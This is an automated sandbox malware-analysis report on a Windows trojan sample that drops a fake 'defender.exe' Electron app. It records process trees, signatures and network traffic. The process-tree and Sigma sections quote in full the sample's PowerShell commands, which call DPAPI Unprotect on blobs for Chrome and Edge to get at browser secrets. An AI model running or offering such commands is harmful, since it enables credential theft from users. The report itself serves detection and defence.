Edit tour

Windows Analysis Report
SecuriteInfo.com.HEUR.Trojan.Script.Generic.5591.10617.exe

Overview

General Information

Sample name:	SecuriteInfo.com.HEUR.Trojan.Script.Generic.5591.10617.exe
Analysis ID:	1487580
MD5:	a4590450863f13aa67198ec0fe52453e
SHA1:	7bc926cf52aa4c390cb7d6ac5756a9b95f6e8fb2
SHA256:	d5628dd0e0710c14d9241a3eb0871dfa4fccf0888f6503d8b9a794cb5e8e6d71
Tags:	exe
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Icon mismatch, binary includes an icon from a different legit application in order to fool users

AI detected suspicious sample

Drops large PE files

Tries to harvest and steal browser information (history, passwords, etc)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Enables security privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries keyboard layouts

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

SecuriteInfo.com.HEUR.Trojan.Script.Generic.5591.10617.exe (PID: 3180 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.HEUR.Trojan.Script.Generic.5591.10617.exe" MD5: A4590450863F13AA67198EC0FE52453E)

defender.exe (PID: 7008 cmdline: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe MD5: 050F6E0968C055E912AB6CA8DC12A881)

cmd.exe (PID: 3496 cmdline: C:\Windows\system32\cmd.exe /d /s /c "tasklist" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7200 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7232 cmdline: C:\Windows\system32\cmd.exe /d /s /c "tasklist" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7240 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7308 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7248 cmdline: C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'CurrentUser')" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7340 cmdline: powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'CurrentUser') MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7564 cmdline: C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, 'CurrentUser')" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7572 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7612 cmdline: powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, 'CurrentUser') MD5: 04029E121A0CFA5991749937DD22A1D9)

defender.exe (PID: 7828 cmdline: "C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\defender" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1728 --field-trial-handle=1892,i,7391301622975608385,14743312254782703774,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2 MD5: 050F6E0968C055E912AB6CA8DC12A881)

explorer.exe (PID: 2580 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

defender.exe (PID: 7912 cmdline: "C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\defender" --mojo-platform-channel-handle=2140 --field-trial-handle=1892,i,7391301622975608385,14743312254782703774,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8 MD5: 050F6E0968C055E912AB6CA8DC12A881)

defender.exe (PID: 7980 cmdline: "C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe" --type=renderer --user-data-dir="C:\Users\user\AppData\Roaming\defender" --app-path="C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\resources\app.asar" --no-sandbox --no-zygote --first-renderer-process --lang=en-GB --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=4 --time-ticks-at-unix-epoch=-1722778035040302 --launch-time-ticks=4063477079 --mojo-platform-channel-handle=2348 --field-trial-handle=1892,i,7391301622975608385,14743312254782703774,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:1 MD5: 050F6E0968C055E912AB6CA8DC12A881)

defender.exe (PID: 3408 cmdline: "C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\user\AppData\Roaming\defender" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1432 --field-trial-handle=1892,i,7391301622975608385,14743312254782703774,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2 MD5: 050F6E0968C055E912AB6CA8DC12A881)

cleanup

Sigma Signatures

System Summary

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'CurrentUser'), CommandLine: powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'CurrentUser'), CommandLine|base64offset|contains: ~O*^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,6

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 94.6% probability

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00007FFD9AF34FEE CryptUnprotectData,		15_2_00007FFD9AF34FEE
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FFD9AFE4FEE CryptUnprotectData,		18_2_00007FFD9AFE4FEE

Source: SecuriteInfo.com.HEUR.Trojan.Script.Generic.5591.10617.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Users\user\Desktop\SecuriteInfo.com.HEUR.Trojan.Script.Generic.5591.10617.exe	File created: C:\Users\user\AppData\Local\Temp\nsd142C.tmp\7z-out\LICENSE.electron.txt			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.HEUR.Trojan.Script.Generic.5591.10617.exe	File created: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\LICENSE.electron.txt			Jump to behavior

Source: unknown

HTTPS traffic detected: 54.171.33.24:443 -> 192.168.2.4:49769 version: TLS 1.2

Source: SecuriteInfo.com.HEUR.Trojan.Script.Generic.5591.10617.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Dev\elevate\bin\x86\Release\Elevate.pdb source: elevate.exe.0.dr
Source:	Binary string: C:\projects\src\out\Default\libGLESv2.dll.pdb source: libGLESv2.dll.0.dr

Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	File opened: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\resources	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	File opened: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: Joe Sandbox View	IP Address: 162.159.61.3 162.159.61.3
Source: Joe Sandbox View	IP Address: 172.64.41.3 172.64.41.3

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: www.setekshome.com
Source: global traffic	DNS traffic detected: DNS query: ws-eu.pusher.com
Source: global traffic	DNS traffic detected: DNS query: sockjs-eu.pusher.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: stats.pusher.com

Source: unknown

HTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: C:\Users\user\Desktop\SecuriteInfo.com.HEUR.Trojan.Script.Generic.5591.10617.exe	File dump: defender.exe.0.dr 162041856			Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.HEUR.Trojan.Script.Generic.5591.10617.exe	File dump: defender.exe0.0.dr 162041856			Jump to dropped file

Source: defender.exe0.0.dr	Static PE information: Number of sections : 16 > 10
Source: libEGL.dll.0.dr	Static PE information: Number of sections : 12 > 10
Source: defender.exe.0.dr	Static PE information: Number of sections : 16 > 10
Source: libGLESv2.dll.0.dr	Static PE information: Number of sections : 12 > 10
Source: vk_swiftshader.dll.0.dr	Static PE information: Number of sections : 12 > 10
Source: libGLESv2.dll0.0.dr	Static PE information: Number of sections : 12 > 10
Source: vulkan-1.dll.0.dr	Static PE information: Number of sections : 12 > 10
Source: libEGL.dll0.0.dr	Static PE information: Number of sections : 12 > 10
Source: ffmpeg.dll0.0.dr	Static PE information: Number of sections : 11 > 10
Source: ffmpeg.dll.0.dr	Static PE information: Number of sections : 11 > 10

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5432:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7572:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7240:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7260:120:WilError_03

Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.HEUR.Trojan.Script.Generic.5591.10617.exe "C:\Users\user\Desktop\SecuriteInfo.com.HEUR.Trojan.Script.Generic.5591.10617.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.HEUR.Trojan.Script.Generic.5591.10617.exe	Process created: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tasklist"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tasklist"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'CurrentUser')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'CurrentUser')
